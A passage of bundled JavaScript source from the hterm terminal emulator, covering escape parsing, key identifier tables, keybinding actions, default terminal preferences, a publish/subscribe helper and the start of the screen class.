*/hterm.Parser.prototype.parseEscape = function () { var map = { '"': '"', '\'': '\'', '\\': '\\', 'a': '\x07', 'b': '\x08', 'e': '\x1b', 'f': '\x0c', 'n': '\x0a', 'r': '\x0d', 't': '\x09', 'v': '\x0b', 'x': function x() { var value = this.parsePattern(/[a-z0-9]{2}/ig); return String.fromCharCode(parseInt(value, 16)); }, 'u': function u() { var value = this.parsePattern(/[a-z0-9]{4}/ig); return String.fromCharCode(parseInt(value, 16)); } }; if (!(this.ch in map && map.hasOwnProperty(this.ch))) throw this.error('Unknown escape: ' + this.ch); var value = map[this.ch]; this.advance(1); if (typeof value == 'function') value = value.call(this); return value; };/**
* Parse the given pattern starting from the current position.
*
* @param {RegExp} pattern A pattern representing the characters to span.  MUST
*   include the "global" RegExp flag.
* @return {string}
*/hterm.Parser.prototype.parsePattern = function (pattern) { if (!pattern.global) throw this.error('Internal error: Span patterns must be global'); pattern.lastIndex = this.pos; var ary = pattern.exec(this.source); if (!ary || pattern.lastIndex - ary[0].length != this.pos) throw this.error('Expected match for: ' + pattern); this.pos = pattern.lastIndex - 1; this.advance(1); return ary[0]; };/**
* Advance the current position.
*
* @param {number} count
*/hterm.Parser.prototype.advance = function (count) { this.pos += count; this.ch = this.source.substr(this.pos, 1); };/**
* @param {string=} opt_expect A list of valid non-whitespace characters to
*   terminate on.
* @return {void}
*/hterm.Parser.prototype.skipSpace = function (opt_expect) { if (!/\s/.test(this.ch)) return; var re = /\s+/gm; re.lastIndex = this.pos; var source = this.source; if (re.exec(source)) this.pos = re.lastIndex; this.ch = this.source.substr(this.pos, 1); if (opt_expect) { if (this.ch.indexOf(opt_expect) == -1) { throw this.error('Expected one of ' + opt_expect + ', found: ' + this.ch); } } };// SOURCE FILE: hterm/js/hterm_parser_identifiers.js
// Copyright (c) 2015 The Chromium OS Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
'use strict';/**
* Collections of identifier for hterm.Parser.
*/hterm.Parser.identifiers = {};/**
* Modifier key names used when defining key sequences.
*
* These are upper case so we can normalize the user input and be forgiving.
* "CTRL-A" and "Ctrl-A" and "ctrl-a" are all accepted.
*
* Note: Names here cannot overlap with hterm.Parser.identifiers.keyCodes.
*/hterm.Parser.identifiers.modifierKeys = {
SHIFT: 'shift', CTRL: 'ctrl',// Common alias.
CONTROL: 'ctrl', ALT: 'alt', META: 'meta'
};/**
* Key codes useful when defining key sequences.
*
* Punctuation is mostly left out of this list because they can move around
* based on keyboard locale and browser.
*
* In a key sequence like "Ctrl-ESC", the ESC comes from this list of
* identifiers.  It is equivalent to "Ctrl-27" and "Ctrl-0x1b".
*
* These are upper case so we can normalize the user input and be forgiving.
* "Ctrl-ESC" and "Ctrl-Esc" an "Ctrl-esc" are all accepted.
*
* We also include common aliases for the same key.  "Esc" and "Escape" are the
* same key.
*
* Note: Names here cannot overlap with hterm.Parser.identifiers.modifierKeys.
*/hterm.Parser.identifiers.keyCodes = {// Top row.
ESCAPE: 27, ESC: 27, F1: 112, F2: 113, F3: 114, F4: 115, F5: 116, F6: 117, F7: 118, F8: 119, F9: 120, F10: 121, F11: 122, F12: 123,// Row two.
ONE: 49, TWO: 50, THREE: 51, FOUR: 52, FIVE: 53, SIX: 54, SEVEN: 55, EIGHT: 56, NINE: 57, ZERO: 48, BACKSPACE: 8, BKSP: 8, BS: 8,// Row three.
TAB: 9, Q: 81, W: 87, E: 69, R: 82, T: 84, Y: 89, U: 85, I: 73, O: 79, P: 80,// Row four.
CAPS_LOCK: 20, CAPSLOCK: 20, CAPS: 20, A: 65, S: 83, D: 68, F: 70, G: 71, H: 72, J: 74, K: 75, L: 76,// We map enter and return together even though enter should really be 10
// because most people don't know or care about the history here.  Plus,
// most keyboards/programs map them together already.  If they really want
// to bind them differently, they can also use the numeric value.
ENTER: 13, ENT: 13, RETURN: 13, RET: 13,// Row five.
Z: 90, X: 88, C: 67, V: 86, B: 66, N: 78, M: 77,// Etc.
SPACE: 32, SP: 32, PRINT_SCREEN: 42, PRTSC: 42, SCROLL_LOCK: 145, SCRLK: 145, BREAK: 19, BRK: 19, INSERT: 45, INS: 45, HOME: 36, PAGE_UP: 33, PGUP: 33, DELETE: 46, DEL: 46, END: 35, PAGE_DOWN: 34, PGDOWN: 34, PGDN: 34, UP: 38, DOWN: 40, RIGHT: 39, LEFT: 37, NUMLOCK: 144,// Keypad
KP0: 96, KP1: 97, KP2: 98, KP3: 99, KP4: 100, KP5: 101, KP6: 102, KP7: 103, KP8: 104, KP9: 105, KP_PLUS: 107, KP_ADD: 107, KP_MINUS: 109, KP_SUBTRACT: 109, KP_STAR: 106, KP_MULTIPLY: 106, KP_DIVIDE: 111, KP_DECIMAL: 110, KP_PERIOD: 110,// Chrome OS media keys
NAVIGATE_BACK: 166, NAVIGATE_FORWARD: 167, RELOAD: 168, FULL_SCREEN: 183, WINDOW_OVERVIEW: 182, BRIGHTNESS_UP: 216, BRIGHTNESS_DOWN: 217
};/**
* Identifiers for use in key actions.
*/hterm.Parser.identifiers.actions = {/**
* Prevent the browser and operating system from handling the event.
*/CANCEL: hterm.Keyboard.KeyActions.CANCEL,/**
* Wait for a "keypress" event, send the keypress charCode to the host.
*/DEFAULT: hterm.Keyboard.KeyActions.DEFAULT,/**
* Let the browser or operating system handle the key.
*/PASS: hterm.Keyboard.KeyActions.PASS,/**
* Scroll the terminal one page up.
*/scrollPageUp: function scrollPageUp(terminal) { terminal.scrollPageUp(); return hterm.Keyboard.KeyActions.CANCEL; },/**
* Scroll the terminal one page down.
*/scrollPageDown: function scrollPageDown(terminal) { terminal.scrollPageDown(); return hterm.Keyboard.KeyActions.CANCEL; },/**
* Scroll the terminal to the top.
*/scrollToTop: function scrollToTop(terminal) { terminal.scrollEnd(); return hterm.Keyboard.KeyActions.CANCEL; },/**
* Scroll the terminal to the bottom.
*/scrollToBottom: function scrollToBottom(terminal) { terminal.scrollEnd(); return hterm.Keyboard.KeyActions.CANCEL; },/**
* Clear the terminal and scrollback buffer.
*/clearScrollback: function clearScrollback(terminal) { terminal.wipeContents(); return hterm.Keyboard.KeyActions.CANCEL; }
};// SOURCE FILE: hterm/js/hterm_preference_manager.js
// Copyright (c) 2012 The Chromium OS Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
'use strict'; lib.rtdep('lib.f', 'lib.Storage');/**
* PreferenceManager subclass managing global NaSSH preferences.
*
* This is currently just an ordered list of known connection profiles.
*/hterm.PreferenceManager = function (profileId) { lib.PreferenceManager.call(this, hterm.defaultStorage, hterm.PreferenceManager.prefix_ + profileId); var defs = hterm.PreferenceManager.defaultPreferences; Object.keys(defs).forEach(function (key) { this.definePreference(key, defs[key][1]); }.bind(this)); };/**
* The storage key prefix to namespace the preferences.
*/hterm.PreferenceManager.prefix_ = '/hterm/profiles/';/**
* List all the defined profiles.
*
* @param {function(Array<string>)} callback Called with the list of profiles.
*/hterm.PreferenceManager.listProfiles = function (callback) {
hterm.defaultStorage.getItems(null, function (items) {
var profiles = {}; var _iteratorNormalCompletion3 = true; var _didIteratorError3 = false; var _iteratorError3 = undefined; try {
for (var _iterator3 = Object.keys(items)[Symbol.iterator](), _step3; !(_iteratorNormalCompletion3 = (_step3 = _iterator3.next()).done); _iteratorNormalCompletion3 = true) {
var key = _step3.value; if (key.startsWith(hterm.PreferenceManager.prefix_)) {// Turn "/hterm/profiles/foo/bar/cow" to "foo/bar/cow".
var subKey = key.slice(hterm.PreferenceManager.prefix_.length);// Turn "foo/bar/cow" into "foo".
profiles[subKey.split('/', 1)[0]] = true;
}
}
} catch (err) { _didIteratorError3 = true; _iteratorError3 = err; } finally { try { if (!_iteratorNormalCompletion3 && _iterator3.return) { _iterator3.return(); } } finally { if (_didIteratorError3) { throw _iteratorError3; } } } callback(Object.keys(profiles));
});
}; hterm.PreferenceManager.categories = {}; hterm.PreferenceManager.categories.Keyboard = 'Keyboard'; hterm.PreferenceManager.categories.Appearance = 'Appearance'; hterm.PreferenceManager.categories.CopyPaste = 'CopyPaste'; hterm.PreferenceManager.categories.Sounds = 'Sounds'; hterm.PreferenceManager.categories.Scrolling = 'Scrolling'; hterm.PreferenceManager.categories.Encoding = 'Encoding'; hterm.PreferenceManager.categories.Extensions = 'Extensions'; hterm.PreferenceManager.categories.Miscellaneous = 'Miscellaneous';/**
* List of categories, ordered by display order (top to bottom)
*/hterm.PreferenceManager.categoryDefinitions = [{ id: hterm.PreferenceManager.categories.Appearance, text: 'Appearance (fonts, colors, images)' }, { id: hterm.PreferenceManager.categories.CopyPaste, text: 'Copy & Paste' }, { id: hterm.PreferenceManager.categories.Encoding, text: 'Encoding' }, { id: hterm.PreferenceManager.categories.Keyboard, text: 'Keyboard' }, { id: hterm.PreferenceManager.categories.Scrolling, text: 'Scrolling' }, { id: hterm.PreferenceManager.categories.Sounds, text: 'Sounds' }, { id: hterm.PreferenceManager.categories.Extensions, text: 'Extensions' }, { id: hterm.PreferenceManager.categories.Miscellaneous, text: 'Miscellaneous' }]; hterm.PreferenceManager.defaultPreferences = {
'alt-gr-mode': [hterm.PreferenceManager.categories.Keyboard, null, [null, 'none', 'ctrl-alt', 'left-alt', 'right-alt'], 'Select an AltGr detection heuristic.\n' + '\n' + '\'null\': Autodetect based on navigator.language:\n' + '      \'en-us\' => \'none\', else => \'right-alt\'\n' + '\'none\': Disable any AltGr related munging.\n' + '\'ctrl-alt\': Assume Ctrl+Alt means AltGr.\n' + '\'left-alt\': Assume left Alt means AltGr.\n' + '\'right-alt\': Assume right Alt means AltGr.'], 'alt-backspace-is-meta-backspace': [hterm.PreferenceManager.categories.Keyboard, false, 'bool', 'If set, undoes the Chrome OS Alt-Backspace->DEL remap, so that ' + 'Alt-Backspace indeed is Alt-Backspace.'], 'alt-is-meta': [hterm.PreferenceManager.categories.Keyboard, false, 'bool', 'Whether the Alt key acts as a Meta key or as a distinct Alt key.'], 'alt-sends-what': [hterm.PreferenceManager.categories.Keyboard, 'escape', ['escape', '8-bit', 'browser-key'], 'Controls how the Alt key is handled.\n' + '\n' + '  escape: Send an ESC prefix.\n' + '  8-bit: Add 128 to the typed character as in xterm.\n' + '  browser-key: Wait for the keypress event and see what the browser\n' + '    says. (This won\'t work well on platforms where the browser\n' + '    performs a default action for some Alt sequences.)'], 'audible-bell-sound': [hterm.PreferenceManager.categories.Sounds, 'lib-resource:hterm/audio/bell', 'url', 'URL of the terminal bell sound. Empty string for no audible bell.'], 'desktop-notification-bell': [hterm.PreferenceManager.categories.Sounds, false, 'bool', 'If true, terminal bells in the background will create a Web ' + 'Notification. https://www.w3.org/TR/notifications/\n' + '\n' + 'Displaying notifications requires permission from the user. When this ' + 'option is set to true, hterm will attempt to ask the user for permission ' + 'if necessary. Browsers may not show this permission request if it was ' + 'not triggered by a user action.\n' + '\n' + 'Chrome extensions with the "notifications" permission have permission to ' + 'display notifications.'], 'background-color': [hterm.PreferenceManager.categories.Appearance, 'rgb(16, 16, 16)', 'color', 'The background color for text with no other color attributes.'], 'background-image': [hterm.PreferenceManager.categories.Appearance, '', 'string', 'CSS value of the background image. Empty string for no image.\n' + '\n' + 'For example:\n' + '  url(https://goo.gl/anedTK)\n' + '  linear-gradient(top bottom, blue, red)'], 'background-size': [hterm.PreferenceManager.categories.Appearance, '', 'string', 'CSS value of the background image size.'], 'background-position': [hterm.PreferenceManager.categories.Appearance, '', 'string', 'CSS value of the background image position.\n' + '\n' + 'For example:\n' + '  10% 10%\n' + '  center'], 'backspace-sends-backspace': [hterm.PreferenceManager.categories.Keyboard, false, 'bool', 'If true, the backspace should send BS (\'\\x08\', aka ^H). Otherwise ' + 'the backspace key should send \'\\x7f\'.'], 'character-map-overrides': [hterm.PreferenceManager.categories.Appearance, null, 'value', 'This is specified as an object. It is a sparse array, where each ' + 'property is the character set code and the value is an object that is ' + 'a sparse array itself. In that sparse array, each property is the ' + 'received character and the value is the displayed character.\n' + '\n' + 'For example:\n' + '  {"0":{"+":"\\u2192",",":"\\u2190","-":"\\u2191",".":"\\u2193", ' + '"0":"\\u2588"}}'], 'close-on-exit': [hterm.PreferenceManager.categories.Miscellaneous, true, 'bool', 'Whether to close the window when the command finishes executing.'], 'cursor-blink': [hterm.PreferenceManager.categories.Appearance, false, 'bool', 'Whether the text cursor blinks by default. This can be toggled at ' + 'runtime via terminal escape sequences.'], 'cursor-blink-cycle': [hterm.PreferenceManager.categories.Appearance, [1000, 500], 'value', 'The text cursor blink rate in milliseconds.\n' + '\n' + 'A two element array, the first of which is how long the text cursor ' + 'should be on, second is how long it should be off.'], 'cursor-color': [hterm.PreferenceManager.categories.Appearance, 'rgba(255, 0, 0, 0.5)', 'color', 'The color of the visible text cursor.'], 'color-palette-overrides': [hterm.PreferenceManager.categories.Appearance, null, 'value', 'Override colors in the default palette.\n' + '\n' + 'This can be specified as an array or an object. If specified as an ' + 'object it is assumed to be a sparse array, where each property ' + 'is a numeric index into the color palette.\n' + '\n' + 'Values can be specified as almost any CSS color value. This ' + 'includes #RGB, #RRGGBB, rgb(...), rgba(...), and any color names ' + 'that are also part of the standard X11 rgb.txt file.\n' + '\n' + 'You can use \'null\' to specify that the default value should be not ' + 'be changed. This is useful for skipping a small number of indices ' + 'when the value is specified as an array.\n' + '\n' + 'For example, these both set color index 1 to blue:\n' + '  {1: "#0000ff"}\n' + '  [null, "#0000ff"]'], 'copy-on-select': [hterm.PreferenceManager.categories.CopyPaste, true, 'bool', 'Automatically copy mouse selection to the clipboard.'], 'use-default-window-copy': [hterm.PreferenceManager.categories.CopyPaste, false, 'bool', 'Whether to use the default browser/OS\'s copy behavior.\n' + '\n' + 'Allow the browser/OS to handle the copy event directly which might ' + 'improve compatibility with some systems (where copying doesn\'t work ' + 'at all), but makes the text selection less robust.\n' + '\n' + 'For example, long lines that were automatically line wrapped will ' + 'be copied with the newlines still in them.'], 'clear-selection-after-copy': [hterm.PreferenceManager.categories.CopyPaste, true, 'bool', 'Whether to clear the selection after copying.'], 'ctrl-plus-minus-zero-zoom': [hterm.PreferenceManager.categories.Keyboard, true, 'bool', 'If true, Ctrl-Plus/Minus/Zero controls zoom.\n' + 'If false, Ctrl-Shift-Plus/Minus/Zero controls zoom, Ctrl-Minus sends ^_, ' + 'Ctrl-Plus/Zero do nothing.'], 'ctrl-c-copy': [hterm.PreferenceManager.categories.Keyboard, false, 'bool', 'Ctrl-C copies if true, send ^C to host if false.\n' + 'Ctrl-Shift-C sends ^C to host if true, copies if false.'], 'ctrl-v-paste': [hterm.PreferenceManager.categories.Keyboard, false, 'bool', 'Ctrl-V pastes if true, send ^V to host if false.\n' + 'Ctrl-Shift-V sends ^V to host if true, pastes if false.'], 'east-asian-ambiguous-as-two-column': [hterm.PreferenceManager.categories.Keyboard, false, 'bool', 'Whether East Asian Ambiguous characters have two column width.'], 'enable-8-bit-control': [hterm.PreferenceManager.categories.Keyboard, false, 'bool', 'True to enable 8-bit control characters, false to ignore them.\n' + '\n' + 'We\'ll respect the two-byte versions of these control characters ' + 'regardless of this setting.'], 'enable-bold': [hterm.PreferenceManager.categories.Appearance, null, 'tristate', 'If true, use bold weight font for text with the bold/bright attribute. ' + 'False to use the normal weight font. Null to autodetect.'], 'enable-bold-as-bright': [hterm.PreferenceManager.categories.Appearance, true, 'bool', 'If true, use bright colors (8-15 on a 16 color palette) for any text ' + 'with the bold attribute. False otherwise.'], 'enable-blink': [hterm.PreferenceManager.categories.Appearance, true, 'bool', 'If true, respect the blink attribute. False to ignore it.'], 'enable-clipboard-notice': [hterm.PreferenceManager.categories.CopyPaste, true, 'bool', 'Whether to show a message in the terminal when the host writes to the ' + 'clipboard.'], 'enable-clipboard-write': [hterm.PreferenceManager.categories.CopyPaste, true, 'bool', 'Allow the remote host to write directly to the local system clipboard.\n' + 'Read access is never granted regardless of this setting.\n' + '\n' + 'This is used to control access to features like OSC-52.'], 'enable-dec12': [hterm.PreferenceManager.categories.Miscellaneous, false, 'bool', 'Respect the host\'s attempt to change the text cursor blink status using ' + 'DEC Private Mode 12.'], 'environment': [hterm.PreferenceManager.categories.Miscellaneous, {// Signal ncurses based apps to use UTF-8 output instead of legacy drawing
// modes (which only work in ISO-2022 mode).  Since hterm is always UTF-8,
// this shouldn't cause problems.
'NCURSES_NO_UTF8_ACS': '1', 'TERM': 'xterm-256color',// Set this env var that a bunch of mainstream terminal emulators set to
// indicate we support true colors.
// https://gist.github.com/XVilka/8346728
'COLORTERM': 'truecolor'
}, 'value', 'The initial set of environment variables, as an object.'], 'font-family': [hterm.PreferenceManager.categories.Appearance, '"DejaVu Sans Mono", "Noto Sans Mono", "Everson Mono", ' + 'FreeMono, Menlo, Terminal, monospace', 'string', 'Default font family for the terminal text.'], 'font-size': [hterm.PreferenceManager.categories.Appearance, 15, 'int', 'The default font size in pixels.'], 'font-smoothing': [hterm.PreferenceManager.categories.Appearance, 'antialiased', 'string', 'CSS font-smoothing property.'], 'foreground-color': [hterm.PreferenceManager.categories.Appearance, 'rgb(240, 240, 240)', 'color', 'The foreground color for text with no other color attributes.'], 'hide-mouse-while-typing': [hterm.PreferenceManager.categories.Keyboard, null, 'tristate', 'Whether to automatically hide the mouse cursor when typing. ' + 'By default, autodetect whether the platform/OS handles this.\n' + '\n' + 'Note: Some operating systems may override this setting and thus you ' + 'might not be able to always disable it.'], 'home-keys-scroll': [hterm.PreferenceManager.categories.Keyboard, false, 'bool', 'If true, Home/End controls the terminal scrollbar and Shift-Home/' + 'Shift-End are sent to the remote host. If false, then Home/End are ' + 'sent to the remote host and Shift-Home/Shift-End scrolls.'], 'keybindings': [hterm.PreferenceManager.categories.Keyboard, null, 'value', 'A map of key sequence to key actions. Key sequences include zero or ' + 'more modifier keys followed by a key code. Key codes can be decimal or ' + 'hexadecimal numbers, or a key identifier. Key actions can be specified ' + 'as a string to send to the host, or an action identifier. For a full ' + 'explanation of the format, see https://goo.gl/LWRndr.\n' + '\n' + 'Sample keybindings:\n' + '{\n' + '  "Ctrl-Alt-K": "clearScrollback",\n' + '  "Ctrl-Shift-L": "PASS",\n' + '  "Ctrl-H": "\'Hello World\'"\n' + '}'], 'media-keys-are-fkeys': [hterm.PreferenceManager.categories.Keyboard, false, 'bool', 'If true, convert media keys to their Fkey equivalent. If false, let ' + 'the browser handle the keys.'], 'meta-sends-escape': [hterm.PreferenceManager.categories.Keyboard, true, 'bool', 'Send an ESC prefix when pressing a key while holding the Meta key.\n' + '\n' + 'For example, when enabled, pressing Meta-K will send ^[k as if you ' + 'typed Escape then k. When disabled, only k will be sent.'], 'mouse-right-click-paste': [hterm.PreferenceManager.categories.CopyPaste, true, 'bool', 'Paste on right mouse button clicks.\n' + '\n' + 'This option is independent of the "mouse-paste-button" setting.\n' + '\n' + 'Note: This will handle left & right handed mice correctly.'], 'mouse-paste-button': [hterm.PreferenceManager.categories.CopyPaste, null, [null, 0, 1, 2, 3, 4, 5, 6], 'Mouse paste button, or null to autodetect.\n' + '\n' + 'For autodetect, we\'ll use the middle mouse button for non-X11 ' + 'platforms (including Chrome OS). On X11, we\'ll use the right mouse ' + 'button (since the native window manager should paste via the middle ' + 'mouse button).\n' + '\n' + '0 == left (primary) button.\n' + '1 == middle (auxiliary) button.\n' + '2 == right (secondary) button.\n' + '\n' + 'This option is independent of the setting for right-click paste.\n' + '\n' + 'Note: This will handle left & right handed mice correctly.'], 'word-break-match-left': [hterm.PreferenceManager.categories.CopyPaste, '[^\\s\\[\\](){}<>"\'\\^!@#$%&*,;:`]', 'string', 'Regular expression to halt matching to the left (start) of a selection.\n' + '\n' + 'Normally this is a character class to reject specific characters.\n' + 'We allow "~" and "." by default as paths frequently start with those.'], 'word-break-match-right': [hterm.PreferenceManager.categories.CopyPaste, '[^\\s\\[\\](){}<>"\'\\^!@#$%&*,;:~.`]', 'string', 'Regular expression to halt matching to the right (end) of a selection.\n' + '\n' + 'Normally this is a character class to reject specific characters.'], 'word-break-match-middle': [hterm.PreferenceManager.categories.CopyPaste, '[^\\s\\[\\](){}<>"\'\\^]*', 'string', 'Regular expression to match all the characters in the middle.\n' + '\n' + 'Normally this is a character class to reject specific characters.\n' + '\n' + 'Used to expand the selection surrounding the starting point.'], 'page-keys-scroll': [hterm.PreferenceManager.categories.Keyboard, false, 'bool', 'If true, Page Up/Page Down controls the terminal scrollbar and ' + 'Shift-Page Up/Shift-Page Down are sent to the remote host. If false, ' + 'then Page Up/Page Down are sent to the remote host and Shift-Page Up/' + 'Shift-Page Down scrolls.'], 'pass-alt-number': [hterm.PreferenceManager.categories.Keyboard, null, 'tristate', 'Whether Alt-1..9 is passed to the browser.\n' + '\n' + 'This is handy when running hterm in a browser tab, so that you don\'t ' + 'lose Chrome\'s "switch to tab" keyboard accelerators. When not running ' + 'in a tab it\'s better to send these keys to the host so they can be ' + 'used in vim or emacs.\n' + '\n' + 'If true, Alt-1..9 will be handled by the browser. If false, Alt-1..9 ' + 'will be sent to the host. If null, autodetect based on browser platform ' + 'and window type.'], 'pass-ctrl-number': [hterm.PreferenceManager.categories.Keyboard, null, 'tristate', 'Whether Ctrl-1..9 is passed to the browser.\n' + '\n' + 'This is handy when running hterm in a browser tab, so that you don\'t ' + 'lose Chrome\'s "switch to tab" keyboard accelerators. When not running ' + 'in a tab it\'s better to send these keys to the host so they can be ' + 'used in vim or emacs.\n' + '\n' + 'If true, Ctrl-1..9 will be handled by the browser. If false, Ctrl-1..9 ' + 'will be sent to the host. If null, autodetect based on browser platform ' + 'and window type.'], 'pass-meta-number': [hterm.PreferenceManager.categories.Keyboard, null, 'tristate', 'Whether Meta-1..9 is passed to the browser.\n' + '\n' + 'This is handy when running hterm in a browser tab, so that you don\'t ' + 'lose Chrome\'s "switch to tab" keyboard accelerators. When not running ' + 'in a tab it\'s better to send these keys to the host so they can be ' + 'used in vim or emacs.\n' + '\n' + 'If true, Meta-1..9 will be handled by the browser. If false, Meta-1..9 ' + 'will be sent to the host. If null, autodetect based on browser platform ' + 'and window type.'], 'pass-meta-v': [hterm.PreferenceManager.categories.Keyboard, true, 'bool', 'Whether Meta-V gets passed to host.'], 'receive-encoding': [hterm.PreferenceManager.categories.Encoding, 'utf-8', ['utf-8', 'raw'], 'Set the expected encoding for data received from the host.\n' + 'If the encodings do not match, visual bugs are likely to be observed.\n' + '\n' + 'Valid values are \'utf-8\' and \'raw\'.'], 'scroll-on-keystroke': [hterm.PreferenceManager.categories.Scrolling, true, 'bool', 'Whether to scroll to the bottom on any keystroke.'], 'scroll-on-output': [hterm.PreferenceManager.categories.Scrolling, false, 'bool', 'Whether to scroll to the bottom on terminal output.'], 'scrollbar-visible': [hterm.PreferenceManager.categories.Scrolling, true, 'bool', 'The vertical scrollbar mode.'], 'scroll-wheel-may-send-arrow-keys': [hterm.PreferenceManager.categories.Scrolling, false, 'bool', 'When using the alternative screen buffer, and DECCKM (Application Cursor ' + 'Keys) is active, mouse wheel scroll events will emulate arrow keys.\n' + '\n' + 'It can be temporarily disabled by holding the Shift key.\n' + '\n' + 'This frequently comes up when using pagers (less) or reading man pages ' + 'or text editors (vi/nano) or using screen/tmux.'], 'scroll-wheel-move-multiplier': [hterm.PreferenceManager.categories.Scrolling, 1, 'int', 'The multiplier for scroll wheel events when measured in pixels.\n' + '\n' + 'Alters how fast the page scrolls.'], 'send-encoding': [hterm.PreferenceManager.categories.Encoding, 'utf-8', ['utf-8', 'raw'], 'Set the encoding for data sent to host.'], 'terminal-encoding': [hterm.PreferenceManager.categories.Encoding, 'utf-8', ['iso-2022', 'utf-8', 'utf-8-locked'], 'The default terminal encoding (DOCS).\n' + '\n' + 'ISO-2022 enables character map translations (like graphics maps).\n' + 'UTF-8 disables support for those.\n' + '\n' + 'The locked variant means the encoding cannot be changed at runtime ' + 'via terminal escape sequences.\n' + '\n' + 'You should stick with UTF-8 unless you notice broken rendering with ' + 'legacy applications.'], 'shift-insert-paste': [hterm.PreferenceManager.categories.Keyboard, true, 'bool', 'Whether Shift-Insert is used for pasting or is sent to the remote host.'], 'user-css': [hterm.PreferenceManager.categories.Appearance, '', 'url', 'URL of user stylesheet to include in the terminal document.'], 'user-css-text': [hterm.PreferenceManager.categories.Appearance, '', 'multiline-string', 'Custom CSS text for styling the terminal.'], 'allow-images-inline': [hterm.PreferenceManager.categories.Extensions, null, 'tristate', 'Whether to allow the remote host to display images in the terminal.\n' + '\n' + 'By default, we prompt until a choice is made.']
}; hterm.PreferenceManager.prototype = Object.create(lib.PreferenceManager.prototype); hterm.PreferenceManager.constructor = hterm.PreferenceManager;// SOURCE FILE: hterm/js/hterm_pubsub.js
// Copyright (c) 2012 The Chromium OS Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
'use strict';/**
* Utility class used to add publish/subscribe/unsubscribe functionality to
* an existing object.
*/hterm.PubSub = function () { this.observers_ = {}; };/**
* Add publish, subscribe, and unsubscribe methods to an existing object.
*
* No other properties of the object are touched, so there is no need to
* worry about clashing private properties.
*
* @param {Object} obj The object to add this behavior to.
*/hterm.PubSub.addBehavior = function (obj) { var pubsub = new hterm.PubSub(); for (var m in hterm.PubSub.prototype) { obj[m] = hterm.PubSub.prototype[m].bind(pubsub); } };/**
* Subscribe to be notified of messages about a subject.
*
* @param {string} subject The subject to subscribe to.
* @param {function(Object)} callback The function to invoke for notifications.
*/hterm.PubSub.prototype.subscribe = function (subject, callback) { if (!(subject in this.observers_)) this.observers_[subject] = []; this.observers_[subject].push(callback); };/**
* Unsubscribe from a subject.
*
* @param {string} subject The subject to unsubscribe from.
* @param {function(Object)} callback A callback previously registered via
*     subscribe().
*/hterm.PubSub.prototype.unsubscribe = function (subject, callback) { var list = this.observers_[subject]; if (!list) throw 'Invalid subject: ' + subject; var i = list.indexOf(callback); if (i < 0) throw 'Not subscribed: ' + subject; list.splice(i, 1); };/**
* Publish a message about a subject.
*
* Subscribers (and the optional final callback) are invoked asynchronously.
* This method will return before anyone is actually notified.
*
* @param {string} subject The subject to publish about.
* @param {Object} e An arbitrary object associated with this notification.
* @param {function(Object)} opt_lastCallback An optional function to call after
*     all subscribers have been notified.
*/hterm.PubSub.prototype.publish = function (subject, e, opt_lastCallback) {
function notifyList(i) {// Set this timeout before invoking the callback, so we don't have to
// concern ourselves with exceptions.
if (i < list.length - 1) setTimeout(notifyList, 0, i + 1); list[i](e);
} var list = this.observers_[subject]; if (list) {// Copy the list, in case it changes while we're notifying.
list = [].concat(list);
} if (opt_lastCallback) { if (list) { list.push(opt_lastCallback); } else { list = [opt_lastCallback]; } } if (list) setTimeout(notifyList, 0, 0);
};// SOURCE FILE: hterm/js/hterm_screen.js
// Copyright (c) 2012 The Chromium OS Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
'use strict'; lib.rtdep('lib.f', 'lib.wc', 'hterm.RowCol', 'hterm.Size', 'hterm.TextAttributes');/**
* @fileoverview This class represents a single terminal screen full of text.
*
* It maintains the current cursor position and has basic methods for text
* insert and overwrite, and adding or removing rows from the screen.
*
* This class has no knowledge of the scrollback buffer.
*
* The number of rows on the screen is determined only by the number of rows
* that the caller inserts into the screen.  If a caller wants to ensure a
* constant number of rows on the screen, it's their responsibility to remove a
* row for each row inserted.
*
* The screen width, in contrast, is enforced locally.
*
*
* In practice...
* - The hterm.Terminal class holds two hterm.Screen instances.  One for the
* primary screen and one for the alternate screen.
*
* - The html.Screen class only cares that rows are HTMLElements.  In the
* larger context of hterm, however, the rows happen to be displayed by an
* hterm.ScrollPort and have to follow a few rules as a result.  Each
* row must be rooted by the custom HTML tag 'x-row', and each must have a
* rowIndex property that corresponds to the index of the row in the context
* of the scrollback buffer.  These invariants are enforced by hterm.Terminal
* because that is the class using the hterm.Screen in the context of an
* hterm.ScrollPort.
*//**
* Create a new screen instance.
*
* The screen initially has no rows and a maximum column count of 0.
*
* @param {integer} opt_columnCount The maximum number of columns for this
*    screen.  See insertString() and overwriteString() for information about
*    what happens when too many characters are added too a row.  Defaults to
*    0 if not provided.
*/hterm.Screen = function (opt_columnCount) {/**
* Public, read-only access to the rows in this screen.
*/this.rowsArray = [];// The max column width for this screen.
this.columnCount_ = opt_columnCount || 80;// The current color, bold, underline and blink attributes.
this.textAttributes = new hterm.TextAttributes(window.document);// Current zero-based cursor coordinates.
this.cursorPosition = new hterm.RowCol(0, 0);// Saved state used by DECSC and related settings.  This is only for saving
// and restoring specific state, not for the current/active state.
this.cursorState_ = new hterm.Screen.CursorState(this);// The node containing the row that the cursor is positioned on.
this.cursorRowNode_ = null;// The node containing the span of text that the cursor is positioned on.
this.cursorNode_ = null;// The offset in column width into cursorNode_ where the cursor is positioned.
this.cursorOffset_ = null;// Regexes for expanding word selections.
this.wordBreakMatchLeft = null; this.wordBreakMatchRight = null; this.wordBreakMatchMiddle = null;
};/**
* Return the screen size as an hterm.Size object.
*
* @return {hterm.Size} hterm.Size object representing the current number
*     of rows and columns in this screen.
*/hterm.Screen.prototype.getSize = function () { return new hterm.Size(this.columnCount_, this.rowsArray.length); };/**
* Return the current number of rows in this screen.
*
* @return {integer} The number of rows in this screen.
*/hterm.Screen.prototype.getHeight = function () { return this.rowsArray.length; };/**
* Return the current number of columns in this screen.
*
* @return {integer} The number of columns in this screen.
*/hterm.Screen.prototype.getWidth = function () { return this.columnCount_; };/**
* Set the maximum number of columns per row.
*
* @param {integer} count The maximum number of columns per row.
*/hterm.Screen.prototype.setColumnCount = function (count) { this.columnCount_ = count; if (this.cursorPosition.column >= count) this.setCursorPosition(this.cursorPosition.row, count - 1); };/**
* Remove the first row from the screen and return it.
*
* @return {HTMLElement} The first row in this screen.
*/hterm.Screen.prototype.shiftRow = function () { return this.shiftRows(1)[0]; };/**
